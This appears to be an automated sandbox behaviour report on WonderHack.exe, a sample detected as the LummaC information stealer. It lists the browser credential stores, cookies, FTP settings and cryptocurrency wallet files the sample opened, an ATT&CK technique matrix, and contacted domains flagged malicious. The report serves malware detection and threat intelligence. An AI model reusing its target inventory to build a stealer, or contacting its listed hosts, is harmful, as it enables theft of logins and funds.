Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior

Source: Yara match	File source: 00000002.00000003.2527201915.0000000000F51000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: WonderHack.exe PID: 3696, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: WonderHack.exe PID: 3696, type: MEMORYSTR
Source: Yara match	File source: 2.2.WonderHack.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.WonderHack.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1704771432.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
WonderHack.exe	38%	Virustotal		Browse
WonderHack.exe	29%	ReversingLabs	Win32.Infostealer.Generic
WonderHack.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sendypaster.xyz	193.143.1.9	true	true	unknown
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	104.21.66.86	true	false	high
steppriflej.xyz	193.143.1.9	true	true	unknown
supporse-comment.cyou	unknown	unknown	true	unknown
ripe-blade.cyou	unknown	unknown	true	unknown
greywe-snotty.cyou	unknown	unknown	true	unknown
hosue-billowy.cyou	unknown	unknown	true	unknown
bellflamre.click	unknown	unknown	false	high
smash-boiling.cyou	unknown	unknown	true	unknown
pollution-raker.cyou	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
sendypaster.xyz	true	unknown
steppriflej.xyz	true	unknown
smash-boiling.cyou	true	unknown
https://steamcommunity.com/profiles/76561199724331900	false	high
ripe-blade.cyou	true	unknown
https://lev-tolstoi.com/api	false	high
greywe-snotty.cyou	true	unknown
supporse-comment.cyou	true	unknown
hosue-billowy.cyou	true	unknown
bellflamre.click	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	false	high
https://player.vimeo.com	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/?subsection=broadcasts	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/HU~	WonderHack.exe, 00000002.00000003.2527263074.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2532232865.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2573454494.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	WonderHack.exe, 00000002.00000003.2479583191.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://store.steampowered.com/subscriber_agreement/	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.gstatic.cn/recaptcha/	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	high
https://login.s	WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.valvesoftware.com/legal.htm	WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false	high
